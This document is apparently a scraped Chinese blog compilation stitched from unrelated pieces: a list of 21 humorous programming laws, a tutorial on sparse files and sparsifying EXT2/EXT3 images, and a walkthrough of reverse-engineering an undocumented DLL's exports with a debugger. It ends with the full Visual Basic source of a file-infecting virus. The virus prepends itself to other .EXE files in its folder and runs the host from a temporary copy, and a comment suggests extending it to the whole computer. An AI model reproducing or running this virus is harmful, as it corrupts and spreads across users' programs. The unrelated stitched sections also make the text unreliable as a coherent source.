[英文出处]：21 Laws of Computer Programming
[译文出处]：外刊IT评论

任何一个有经验的程序员都知道，软件开发遵循着一些不成文的法则。然而，如果你不遵循这些法则也并不意味着会受到惩罚；相反，有时你还会获得意外的好处。

下面的就是软件编程中的21条法则：

1. 任何程序一旦部署即显陈旧。
2. 修改需求规范来适应程序比反过来做更容易。
3. 一个程序如果很有用，那它注定要被改掉。
4. 一个程序如果没用，那它一定会有很好的文档。
5. 任何程序里都仅仅只有10%的代码会被执行到。
6. 软件会一直膨胀到耗尽所有资源为止。
7. 任何一个有点价值的程序里都会有至少一个bug。
8. 原型完美的程度跟审视的人数成反比，反比值会随着涉及的资金数增大。
9. 软件直到被变成产品运行至少6个月后，它最严重的问题才会被发现。
10. 无法检测到的错误的形式无限多样，而能被检测到的正好相反，被定义了的十分有限。
11. 修复一个错误所需要投入的努力会随着时间成指数级增加。
12. 软件的复杂度会一直增加，直到超出维护这个程序的人的承受能力。
13. 任何自己的程序，几个月不看，形同其他人写的。
14. 任何一个小程序里面都有一个巨大的程序蠢蠢欲出。
15. 编码开始的越早，花费的时间越长。
16. 一个粗心的项目计划会让你多花3倍的时间去完成；一个细心的项目计划只会让你多花2倍的时间。
17. 往大型项目里添加人手会使项目更延迟。
18. 一个程序至少会完成90%，但永远完成不了超过95%。
19. 如果你想麻烦被自动处理掉，你得到的是自动产生的麻烦。
20. 开发一个傻瓜都会使用的软件，只有傻瓜愿意使用它。
21. 用户不会真正的知道要在软件里做些什么，除非使用过。

稀疏（Sparse）文件的创建

1. 在EXT2/EXT3文件系统上可以使用dd创建稀疏文件：
   
   
   $ dd if=/dev/zero of=fs.img bs=1M seek=1024 count=0
   0+0 records in
   0+0 records out
   $ ls -lh fs.img
   -rw-rw-r--  1 zhigang zhigang 1.0G Feb  5 19:50 fs.img
   $ du -sh fs.img
   0       fs.img
   
   
   
2. 使用C语言来创建一个稀疏文件的方法如下：
   
   
   $ cat sparse.c
   #include <sys/types.h>
   #include <sys/stat.h>
   #include <fcntl.h>
   #include <unistd.h>
   
   int main(int argc, char *argv[])
   {
       int fd = open("sparse.file", O_RDWR|O_CREAT);
       lseek(fd, 1024, SEEK_CUR);
       write(fd, "\0", 1);
   
       return 0;
   }
   
   $ gcc -o sparse sparse.c
   $ ./sparse
   $ ls -l sparse.file
   -r-x--x---  1 zhigang zhigang 1025 Feb  5 23:12 sparse.file
   ]$ du sparse.file
   4       sparse.file
   
   
   
3.  使用python来创建一个稀疏文件的方法如下：
   
   
   $ cat sparse.py
   #!/usr/bin/env python
   
   f = open('fs.img', 'w')
   f.seek(1023)
   f.write('\n')
   
   $ python sparse.py
   $ ls -l fs.img
   -rw-rw-r--  1 zhigang zhigang 1024 Feb  5 20:15 fs.img
   $ du fs.img
   4       fs.img
   

   
   文件稀疏化（sparsify）

   下面的方法都可以将一个文件稀疏化。
   
   1. cp:
   

   $ cp --sparse=always file file.sparse

   
   cp缺省使用--sparse=auto，会自动探测源文件中是否有空洞，以决定目标文件是否为稀疏文件；使用--sparse=never会禁止创建稀疏文件。
   
   2. cpio:
   

   $ find file |cpio -pdmuv --sparse /tmp

   
   如果不加--sparse参数，稀疏文件中的空洞将被填满。
   
   3. tar:
   

   $ tar cSf - file | (cd /tmp/tt; tar xpSf -)

   
   如果不加 -S --sparse参数，稀疏文件中的空洞将被填满。
   
   

   文件稀疏化（sparsify）效率比较

   下面我们创建一个500M的稀疏文件，比较一下几种文件稀疏化方法的效率。
   
   

   $ dd if=/dev/zero of=file count=100 bs=1M seek=400
   100+0 records in
   100+0 records out
   $ time cp --sparse=always file file.sparse
   real    0m0.626s
   user    0m0.205s
   sys     0m0.390s
   
   $ time tar cSf - file | (cd /tmp; tar xpSf -)
   real    0m2.732s
   user    0m1.706s
   sys     0m0.915s
   
   $ time find file |cpio -pdmuv --sparse /tmp
   /tmp/file
   1024000 blocks
   real    0m2.763s
   user    0m1.793s
   sys     0m0.946s
   

   
   由此可见，上面几种文件稀疏化的方法中，cp的效率最高；tar和cpio由于使用管道，效率下降。

   使EXT2/EXT3文件系统稀疏化（sparsify）

   如何是一个文件系统的映像文件稀疏化？Ron Yorston为大家提供了几种方法，我觉得下面的方法最简单：
   
   1. 使用Ron Yorston的zerofree将文件系统中未使用的块清零。
   

   $ gcc -o zerofree zerofree.c -lext2fs
   $ ./zerofree fs.img

   
   2.使用cp命令使映像文件稀疏化：
   

   $ cp --sparse=always fs.img fs_sparse.img

   
    

   EXT2/EXT3文件系统的sparse_super参数

   这个参数与EXT2/EXT3是否支持Sparse文件无关；当打开该参数时，文件系统将使用更少的超级块（Super block）备份，以节省空间。

   如下的命令可以查看该参数：
   

   # echo stats | debugfs /dev/hda2 | grep -i features
   Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file

   
   或者：
   

   # tune2fs -l /dev/hda2 |grep "Filesystem features"
   Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file

   
   可以通过使用：
   

   # tune2fs -O sparse_super

   
   或者：
   

   # tune2fs -s [0|1]

   
   来设置该参数。

   参考资料
   

   1. Keeping filesystem images sparse:

             http://intgat.tigress.co.uk/rmy/uml/sparsify.html.

不知道诸位看官是否有过这样的经历：在不经意之间发现一个DLL文件，它里边有不少有趣的导出函数——但是由于你不知道如何调用这些函数，所以只能大发感慨而又无能为力焉。固然有些知名的DLL可以直接通过搜索引擎来找到它的使用方式（比如本文中的例子ipsearcher.dll），不过我们诚然不能希望自己总能交到这样的好运。所以在本文中，李马希望通过自己文理不甚通达的讲解能够给大家以授人以渔的效果。

先决条件

阅读本文，你需要具备以下先决条件：

• 初步了解汇编语言，虽然你并不一定需要去读懂DLL中导出函数的汇编代码，但是你至少应该了解诸如push、mov这些常用的汇编指令。
• 一个能够查看DLL中导出函数的工具，Visual Studio中自带的Dependency Walker就足够胜任了，当然你也可以选择eXeScope。
• 一个调试器。理论上讲VC也可以完成调试的工作，但它毕竟是更加针对于源代码一级调试的工具，所以你最好选择一个专用的汇编调试器。在本文中我用的是OllyDbg——我不会介绍有关这个调试工具的任何东西，而只是简要介绍我的调试过程。

准备好了吗？那么我们做一个热身运动吧先。

热身——函数调用约定

这里要详细介绍的是有关函数调用约定的内容，如果你已经了解了这方面的内容，可以跳过本节。

你可能在学习Windows程序设计的时候早已接触过“函数调用约定”这个词汇了，那个时候你所了解的内容可能是一个笼统的概念，内容大抵是说函数调用约定就是指的函数参数进栈顺序以及堆栈修正方式。譬如cdecl调用约定是函数参数自右而左进栈，由调用者修复堆栈；stdcall调用约定亦是函数参数自右而左进栈，但是由被调用者修复堆栈……噢不，这太晦涩了——在源代码上我们是无法看到这些东西的！

那么我们别无选择，只有深入到汇编一层了。考虑以下C++代码：

#include <stdio.h> int __cdecl max1( int a, int b ) {     return a > b ? a : b; } int __stdcall max2( int a, int b ) {     return a > b ? a : b; } int main() {     printf( "max( 1, 2 ) of cdecl version: %d\n", max1( 1, 2 ) );     printf( "max( 1, 2 ) of stdcall version: %d\n", max2( 1, 2 ) );     return 0; }

对应的汇编代码为：

; int __cdecl max1( int a, int b ) 00401000 MOV EAX,DWORD PTR SS:[ESP+4] 00401004 MOV ECX,DWORD PTR SS:[ESP+8] 00401008 CMP EAX,ECX 0040100A JG SHORT CppTest.0040100E 0040100C MOV EAX,ECX 0040100E RETN ; int __stdcall max2( int a, int b ) 00401010 MOV EAX,DWORD PTR SS:[ESP+4] 00401014 MOV ECX,DWORD PTR SS:[ESP+8] 00401018 CMP EAX,ECX 0040101A JG SHORT CppTest.0040101E 0040101C MOV EAX,ECX 0040101E RETN 8 ; 被调用者的堆栈修正 ; max1( 1, 2 ) 00401030 PUSH 2 00401032 PUSH 1 00401034 CALL CppTest.00401000 00401039 ADD ESP,8 ; 调用者的堆栈修正 ; max2( 1, 2 ) 0040104A PUSH 2 0040104C PUSH 1 0040104E CALL CppTest.00401010

好了，我来简要介绍一下。函数参数传入函数体是借由堆栈段完成的，也就是将各个参数依某种次序推入SS中——在cdecl与stdcall约定中，这个次序都是自右而左的。另外，由于将参数推入了堆栈致使堆栈指针ESP发生了变化，所以要在函数结束的时候重新修正ESP。从上边的汇编代码中你也可以很清楚地看到，cdecl约定是在调用max1之后修正的ESP，而stdcall约定则是在max2返回时借由RETN 8完成了这个修正工作。

另外，从上边的汇编代码中还可以看到，函数的返回值是由EAX带回的。

庖丁解牛

在了解了以上的知识后，我们就可以使用调试器来调试那个未知的DLL了。可以说，这整个的调试过程充满了惊险和刺激，而且我们还需要一定的技巧——如果你像我一样不喜欢阅读汇编代码的话。

在本文中，我所选择的调试示例是FTerm中附带的ipsearcher.dll，它提供了对纯真IP数据库的查询接口。下图是用Dependency Walker对其分析的结果：

你可以看到，这里边有两个导出函数：LookupAddress和_GetAddress，那么我们可以按照返回值、调用约定、函数名、参数列表的顺序将它们声明如下：

? ? LookupAddress( ? ); ? ? _GetAddress( ? );

是的，有太多的未知，下面李马将要逐一地破解这些问号。

调试器不可能孤立地对DLL进行调试，我们所需要的应该是一个合适的EXE，这样有助于我们的探究工作。在这里我选择的EXE是我编写的ipsearcher.exe，当然这可能会让你认为我这篇文章的组织顺序有问题——毕竟是我已经知道了这两个导出函数之后（编写了ipsearcher.exe）还要假装成不知道的样子来对ipsearcher.dll来进行探究，所以我决定在下文中不对ipsearcher.exe的代码进行任何关注，而是直接进入到ipsearcher.dll的领空。

打开调试器，载入ipsearcher.exe。当ipsearcher.dll被装载后，会引发一个访问异常，可以忽略这个异常继续调试。根据Dependency Walker的分析结果，在ipsearcher.dll的0x00001BB0和0x00001C40处各下一个断点。现在在“IP地址”中输入一个IP地址（这里以寒泉BBS的IP为例），点击“查询”，会发现指令跳入0x00001C40中（也就是_GetAddress），它的代码如下：

10001C40 MOV EAX,DWORD PTR SS:[ESP+4] ; 一个参数 10001C44 PUSH ipsear_1.10009BE8 10001C49 PUSH EAX 10001C4A CALL ipsear_1.LookupAddress ; 两个参数 10001C4F ADD ESP,8 ; LookupAddress是cdecl调用约定 10001C52 MOV EAX,ipsear_1.10009BE8 10001C57 RETN ; _GetAddress这厮也是cdecl调用约定

很短的几行代码，不过它已经可以提供这些信息了：

• 从SS的使用来看，_GetAddress只带有一个参数。
• _GetAddress中调用了LookupAddress，后者带有两个参数。
• 调用LookupAddress之后进行了堆栈修正，所以LookupAddress是cdecl调用约定。
• _GetAddress返回时并未进行堆栈修正，所以_GetAddress也是cdecl调用约定。

于是，我们可以替换一下刚才的问号了：

? CDECL LookupAddress( ?, ? ); ? CDECL _GetAddress( ? );

下面可以进行单步调试了，当代码步至10001C44时，你会发现寄存器窗口发生了如下的变化：

“202.207.177.9”终于出现了，这样一来我们可以继续对问号进行替换了：

? CDECL LookupAddress( PCSTR, ? ); ? CDECL _GetAddress( PCSTR );

现在继续对代码进行跟踪，是进入LookupAddress的时候了。我们可以从先前_GetAddress的代码中可以发现，这两个导出函数一直在围绕10009BE8这个地址做文章，那么我们就要在单步调试LookupAddress的同时关注这个地址的数据改变。几步跟踪之后，你会发现10009BE8开头的8字节（两个DWORD）数据发生了改变，变成了10009AB4和10009B1C。那么我们再转向这两个地址，会发现：

这样一来就很清楚了，10009BE8是一个字符串指针的数组，它有两个元素。也就是说，我们的函数声明可以换成这样：

? CDECL LookupAddress( PCSTR, PSTR* ); PSTR* CDECL _GetAddress( PCSTR );

接下来需要确定的就是LookupAddress的返回值了。纵观LookupAddress的返回代码，你会发现这样的片断：

; 片断1 10001C0B XOR EAX,EAX 10001C0D POP ESI 10001C0E RETN ; 片断2 10001C2B MOV EAX,1 10001C30 POP ESI 10001C31 RETN

也就是说，这个函数有两个返回值：0或1。那么最后的真相终于大白于天下——

BOOL CDECL LookupAddress( PCSTR, PSTR* ); PSTR* CDECL _GetAddress( PCSTR );

GetProcAddress？

到此为止，这两个函数的声明终于让我们找出来了。也许你会觉得这就够了——接下来就是用typedef定义函数指针，然后使用LoadLibrary、GetProcAddress调用这些函数的事情了。

如果你真的这么认为的话，那我认为我有必要向你介绍这另外的一种方式。

首先请你建立一个名为ipsearcher.def的文件，然后在其中写入如下内容：

LIBRARY "ipsearcher" EXPORTS LookupAddress @1 _GetAddress   @2

将文件保存后，进入到命令行模式下，输入以下命令（前提是你拥有Visual Studio的附带工具lib.exe并有正确的路径指向。以Visual Studio 6.0为例，这个工具通常位于Microsoft Visual Studio\VC98\Bin下）：

lib /def:ipsearcher.def

执行的结果有一个警告，不必理会。这时候我们会发现，lib为我们生成了一个ipsearcher.lib。

然后，我们继续编写ipsearcher.h文件，如下：

#ifndef IPSEARCHER_H #define IPSEARCHER_H #include <windows.h> #pragma comment( lib, "ipsearcher.lib" ) extern "C" { BOOL CDECL LookupAddress( PCSTR, PSTR* ); PSTR* CDECL _GetAddress( PCSTR ); }; #endif // IPSEARCHER_H

大功告成！这样我们就为这个光秃秃的ipsearcher.dll做了一份SDK开发包，而不必再使用动态加载的方法了。

总结一下再

其实，探究一个DLL并非像我这里所讲述的这么简单。这项工作很可能需要阅读大量的汇编代码，了解DLL函数体的流程才能使真相大白于天下。另外，还不能排除有的DLL被加密、加壳、反跟踪……也就是说对于ipsearcher.dll，那简直就是我捡了个便宜来借花献佛了。

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码

Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码

If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件（不是圈套）
End If
End If
'读出准备被感染的文件的代码

Victim = Dir() 'Next

Wend

'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1

idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出错处理，空着就可以了

End Sub